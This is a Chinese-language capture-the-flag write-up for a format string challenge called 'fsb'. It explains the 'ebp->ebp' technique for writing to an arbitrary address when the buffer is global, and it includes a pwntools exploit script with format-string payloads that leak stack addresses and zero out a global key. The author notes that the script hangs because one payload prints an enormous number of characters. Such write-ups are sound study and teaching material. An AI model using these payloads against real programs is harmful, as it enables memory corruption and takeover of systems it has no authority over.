fsb - format string bug 格式化字符串漏洞
直接看源码:
很明显的格式化字符串漏洞,一般的思路是:buf本身在栈中,通过往buf中写入%x来泄漏信息,写入%n来实现地址覆盖,从而write anything to anywhere。但这个思路在这里并行不通,因为buf是全局变量,从而无法往栈中写入数据,因此泄漏或者覆盖的只能是栈中本身有的数据/地址。目前fsb函数的栈中无非就是返回地址、ebp、函数参数地址(pargv变量存储的是参数argv的地址,即可泄漏出当前函数栈基址)、还有些局部变量。
假设通过%n来覆盖返回地址指向的内存,也就是call func()下一条指令位置,使得函数返回时能执行我们设置的指令序列,然而这样的话就是在修改代码段的内容了,我们知道代码段是只读内存段,并行不通。
那么考虑覆盖ebp是否可行呢?此时ebp的位置保存的是main函数的栈基址,如果对ebp的位置进行%n就相当于,在main函数的栈基址处写入一个数;这样的话,如果我们的格式化字符串攻击能覆盖到main函数的栈空间的话,那也就可以把刚才写入main函数的栈基址处的数值当做一个地址,从而再次通过%n往这个地址里写入值,这样连在一起就是往一个用户可控的地址处写入一个用户可控的数值,靠谱!
大体思路是分为上图的2步,
(1) 在main函数的ebp@main处写上全局变量key的地址:0x804a60
(2) 覆盖ebp@main中存储的地址(0x804a060)指向的内存为数值0,即设置key=0
其中怎么知道第2步%n对应的偏移是多少呢?从图中来看偏移应该是(ebp@main-ebp@fsb)/4+18,其中ebp@main可通过%18$x泄漏出来,ebp@fsb则为%14$x泄漏的地址-8。
最后在读入buf2时传入0即可满足pw=key的要求了。至此,我们就可以写exp了:
from pwn import *
r = process('./fsb')
payload1 = "%14$x %18$x" #get ebp@fsb and ebp@main
payload2 = "%134520928c%18$n" #overwrite addr(ebp@main) with &key=0x804a060
payload3 = "%%%d$n" #overwrite addr(&key) with zero => key=0
print 'info:',r.recvuntil('\n')
r.sendline(payload1)
res1 = r.recvuntil('\n')
print 'return:',res1
addrs = res1.strip('\n').split(' ')
fsb_ebp = int(addrs[0],16)-8
main_ebp = int(addrs[1],16)
print 'info:',r.recvuntil('\n')
r.sendline(payload2)
print 'info:',r.recvuntil('\n')
d = (main_ebp-fsb_ebp)/4 + 18
r.sendline(payload3 % d)
print 'info:',r.recvuntil('\n')
r.sendline('nothing')
print 'info:',r.recvuntil('\n')
print 'info:',r.recvuntil('\n')
r.sendline('0')
print 'info:',r.recvuntil('\n')
r.interactive()
然而由于payload2要输出上亿个字符,导致程序一直没有反应。。。。
总结:
- 格式化字符串漏洞中,当用户可控内存不在栈空间时,则考虑覆盖ebp@caller所指向的内存(where),然后进一步覆盖刚才被覆盖后的数值所指向的内存 (what),从而实现write anything to anywhere(看网上把这种思路称为:ebp->ebp)
- 上面这种思路能成功的一个关键点在于:要能泄漏出当前函数栈帧与其调用者栈帧之间的距离